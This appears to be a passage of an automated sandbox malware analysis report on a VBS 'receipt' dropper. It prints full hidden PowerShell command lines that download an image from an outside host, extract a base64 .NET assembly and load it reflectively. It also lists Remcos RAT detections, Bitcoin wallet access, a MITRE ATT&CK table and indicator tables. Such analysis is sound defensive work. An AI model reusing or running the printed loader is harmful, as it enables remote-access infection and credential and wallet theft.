qbzdgtrec8dgtremdgtredgtrewdgtredqdgtrelwdgtre3dgtredcdgtremwdgtrevdgtredcdgtreoqdgtre3dgtrec8dgtrebwbydgtregkdgtrezwbpdgtreg4dgtreyqbsdgtrec8dgtrebgbldgtrehcdgtrexwbpdgtreg0dgtreyqbndgtregudgtrelgbqdgtrehdgtredgtrezwdgtre/dgtrededgtrenwdgtrexdgtredmdgtreodgtredgtre4dgtredidgtremdgtredgtreydgtredkdgtrejwdgtresdgtrecdgtredgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdg	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $downloadeddata = @(); $shuffledlinks = $links \| get-random -count $links.length; foreach ($link in $shuffledlinks) { try { $downloadeddata += $webclient.downloaddata($link) } catch { continue } }; return $downloadeddata }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('projetoautomacao.vb.home'); $method = $type.getmethod('vai').invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'c:\programdata\' , 'osma','regasm',''))} }"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$codigo = 'zgb1dgtreg4dgtreywb0dgtregkdgtrebwbudgtrecdgtredgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrergbydgtreg8dgtrebqbmdgtregkdgtrebgbrdgtrehmdgtreidgtreb7dgtrecdgtredgtrecdgtrebhdgtrehidgtreyqbtdgtrecdgtredgtrekdgtrebbdgtrehmdgtreddgtrebydgtregkdgtrebgbndgtrefsdgtrexqbddgtrecqdgtrebdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrecdgtredgtrepqdgtregdgtree4dgtrezqb3dgtrec0dgtretwbidgtregodgtrezqbjdgtrehqdgtreidgtrebtdgtrehkdgtrecwb0dgtregudgtrebqdgtreudgtree4dgtrezqb0dgtrec4dgtrevwbldgtregidgtreqwbsdgtregkdgtrezqbudgtrehqdgtreowdgtregdgtrecqdgtrezdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtregudgtrezdgtrebedgtregedgtreddgtrebhdgtrecdgtredgtrepqdgtregdgtreedgtredgtrekdgtredgtrepdgtredsdgtreidgtredgtrekdgtrehmdgtreadgtreb1dgtregydgtrezgbsdgtregudgtrezdgtrebmdgtregkdgtrebgbrdgtrehmdgtreidgtredgtre9dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtreidgtreb8dgtrecdgtredgtrerwbldgtrehqdgtrelqbsdgtregedgtrebgbkdgtreg8dgtrebqdgtregdgtrec0dgtreqwbvdgtrehudgtrebgb0dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtrelgbmdgtregudgtrebgbndgtrehqdgtreadgtredgtre7dgtrecdgtredgtrezgbvdgtrehidgtrezqbhdgtregmdgtreadgtredgtregdgtrecgdgtrejdgtrebsdgtregkdgtrebgbrdgtrecdgtredgtreaqbudgtrecdgtredgtrejdgtrebzdgtreggdgtredqbmdgtregydgtrebdgtrebldgtregqdgtretdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtreb7dgtrecdgtredgtreddgtrebydgtrehkdgtreidgtreb7dgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtredgtrerdgtred0dgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrec4dgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrekdgtredgtrekdgtregwdgtreaqbudgtregsdgtrekqdgtregdgtreh0dgtreidgtrebjdgtregedgtreddgtrebjdgtreggdgtreidgtreb7dgtrecdgtredgtreywbvdgtreg4dgtreddgtrebpdgtreg4dgtredqbldgtrecdgtredgtrefqdgtregdgtreh0dgtreowdgtregdgtrehidgtrezqb0dgtrehudgtrecgbudgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtreb9dgtredsdgtreidgtredgtrekdgtregwdgtreaqbudgtregsdgtrecwdgtregdgtred0dgtreidgtrebdgtredgtrecgdgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdgtrebqbhdgtregcdgtrezqbzdgtrec8dgtremdgtredgtrewdgtredqdgtrelwdgtre3dgtredcdgtremwdgtrevdgtredcdgtreoqdgtre3dgtrec8dgtrebwbydgtregkdgtrezwbpdgtreg4dgtreyqbsdgtrec8dgtrebgbldgtrehcdgtrexwbpdgtreg0dgtreyqbndgtregudgtrelgbqdgtrehdgtredgtrezwdgtre/dgtrededgtrenwdgtrexdgtredmdgtreodgtredgtre4dgtredidgtremdgtredgtreydgtredkdgtrejwdgtresdgtrecdgtredgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdg	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$codigo = 'zgb1dgtreg4dgtreywb0dgtregkdgtrebwbudgtrecdgtredgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrergbydgtreg8dgtrebqbmdgtregkdgtrebgbrdgtrehmdgtreidgtreb7dgtrecdgtredgtrecdgtrebhdgtrehidgtreyqbtdgtrecdgtredgtrekdgtrebbdgtrehmdgtreddgtrebydgtregkdgtrebgbndgtrefsdgtrexqbddgtrecqdgtrebdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrecdgtredgtrepqdgtregdgtree4dgtrezqb3dgtrec0dgtretwbidgtregodgtrezqbjdgtrehqdgtreidgtrebtdgtrehkdgtrecwb0dgtregudgtrebqdgtreudgtree4dgtrezqb0dgtrec4dgtrevwbldgtregidgtreqwbsdgtregkdgtrezqbudgtrehqdgtreowdgtregdgtrecqdgtrezdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtregudgtrezdgtrebedgtregedgtreddgtrebhdgtrecdgtredgtrepqdgtregdgtreedgtredgtrekdgtredgtrepdgtredsdgtreidgtredgtrekdgtrehmdgtreadgtreb1dgtregydgtrezgbsdgtregudgtrezdgtrebmdgtregkdgtrebgbrdgtrehmdgtreidgtredgtre9dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtreidgtreb8dgtrecdgtredgtrerwbldgtrehqdgtrelqbsdgtregedgtrebgbkdgtreg8dgtrebqdgtregdgtrec0dgtreqwbvdgtrehudgtrebgb0dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtrelgbmdgtregudgtrebgbndgtrehqdgtreadgtredgtre7dgtrecdgtredgtrezgbvdgtrehidgtrezqbhdgtregmdgtreadgtredgtregdgtrecgdgtrejdgtrebsdgtregkdgtrebgbrdgtrecdgtredgtreaqbudgtrecdgtredgtrejdgtrebzdgtreggdgtredqbmdgtregydgtrebdgtrebldgtregqdgtretdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtreb7dgtrecdgtredgtreddgtrebydgtrehkdgtreidgtreb7dgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtredgtrerdgtred0dgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrec4dgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrekdgtredgtrekdgtregwdgtreaqbudgtregsdgtrekqdgtregdgtreh0dgtreidgtrebjdgtregedgtreddgtrebjdgtreggdgtreidgtreb7dgtrecdgtredgtreywbvdgtreg4dgtreddgtrebpdgtreg4dgtredqbldgtrecdgtredgtrefqdgtregdgtreh0dgtreowdgtregdgtrehidgtrezqb0dgtrehudgtrecgbudgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtreb9dgtredsdgtreidgtredgtrekdgtregwdgtreaqbudgtregsdgtrecwdgtregdgtred0dgtreidgtrebdgtredgtrecgdgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdgtrebqbhdgtregcdgtrezqbzdgtrec8dgtremdgtredgtrewdgtredqdgtrelwdgtre3dgtredcdgtremwdgtrevdgtredcdgtreoqdgtre3dgtrec8dgtrebwbydgtregkdgtrezwbpdgtreg4dgtreyqbsdgtrec8dgtrebgbldgtrehcdgtrexwbpdgtreg0dgtreyqbndgtregudgtrelgbqdgtrehdgtredgtrezwdgtre/dgtrededgtrenwdgtrexdgtredmdgtreodgtredgtre4dgtredidgtremdgtredgtreydgtredkdgtrejwdgtresdgtrecdgtredgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $downloadeddata = @(); $shuffledlinks = $links \| get-random -count $links.length; foreach ($link in $shuffledlinks) { try { $downloadeddata += $webclient.downloaddata($link) } catch { continue } }; return $downloadeddata }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('projetoautomacao.vb.home'); $method = $type.getmethod('vai').invoke($null, [object[]] ('txt.cccer/sc/zn.enidlaregyats//:sptth' , '1' , 'c:\programdata\' , 'ova','regasm',''))} }"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $downloadeddata = @(); $shuffledlinks = $links \| get-random -count $links.length; foreach ($link in $shuffledlinks) { try { $downloadeddata += $webclient.downloaddata($link) } catch { continue } }; return $downloadeddata }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('projetoautomacao.vb.home'); $method = $type.getmethod('vai').invoke($null, [object[]] ('txt.lirpavh/sc/zn.enidlaregyats//:sptth' , '1' , 'c:\programdata\' , 'ova','regasm',''))} }"

Source: logs.dat.25.dr

Binary or memory string: [Program Manager]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match

File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-G51VNO

Yara detected Remcos RAT

Source: Yara match

File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	331 Scripting	Valid Accounts	321 Windows Management Instrumentation	331 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	11 Input Capture	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	312 Process Injection	2 Obfuscated Files or Information	LSASS Memory	214 System Information Discovery	Remote Desktop Protocol	11 Input Capture	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Command and Scripting Interpreter	1 Office Application Startup	11 Registry Run Keys / Startup Folder	1 Software Packing	Security Account Manager	521 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	11 Registry Run Keys / Startup Folder	Login Hook	1 DLL Side-Loading	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	441 Virtualization/Sandbox Evasion	SSH	Keylogging	1 Remote Access Software	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	441 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	2 Non-Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	312 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	113 Application Layer Protocol	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Tapril-30-receipt.vbs	21%	ReversingLabs	Script-WScript.Backdoor.Xworm
Tapril-30-receipt.vbs	19%	Virustotal		Browse

Source	Detection	Scanner	Link
staygeraldine.nz	3%	Virustotal	Browse
aprilxrwonew8450.duckdns.org	10%	Virustotal	Browse
geoplugin.net	4%	Virustotal	Browse
uploaddeimagens.com.br	7%	Virustotal	Browse
remco8100.duckdns.org	4%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.microsoft	0%	URL Reputation	safe
http://geoplugin.net/json.gp	100%	URL Reputation	phishing
http://crl.v	0%	URL Reputation	safe
http://staygeraldine.nz	0%	Avira URL Cloud	safe
https://staygeraldine.nz/cs/xwapri.txt	0%	Avira URL Cloud	safe
https://go.microsoft.coB	0%	Avira URL Cloud	safe
http://crl.microsoftx	0%	Avira URL Cloud	safe
http://app01.system.com.br/RDWeb/Pages/login.aspx1	0%	Avira URL Cloud	safe
http://app01.system.com.br/RDWeb/Pages/login.aspxd	0%	Avira URL Cloud	safe
http://app01.system.com.br/RDWeb/Pages/login.aspx&	0%	Avira URL Cloud	safe
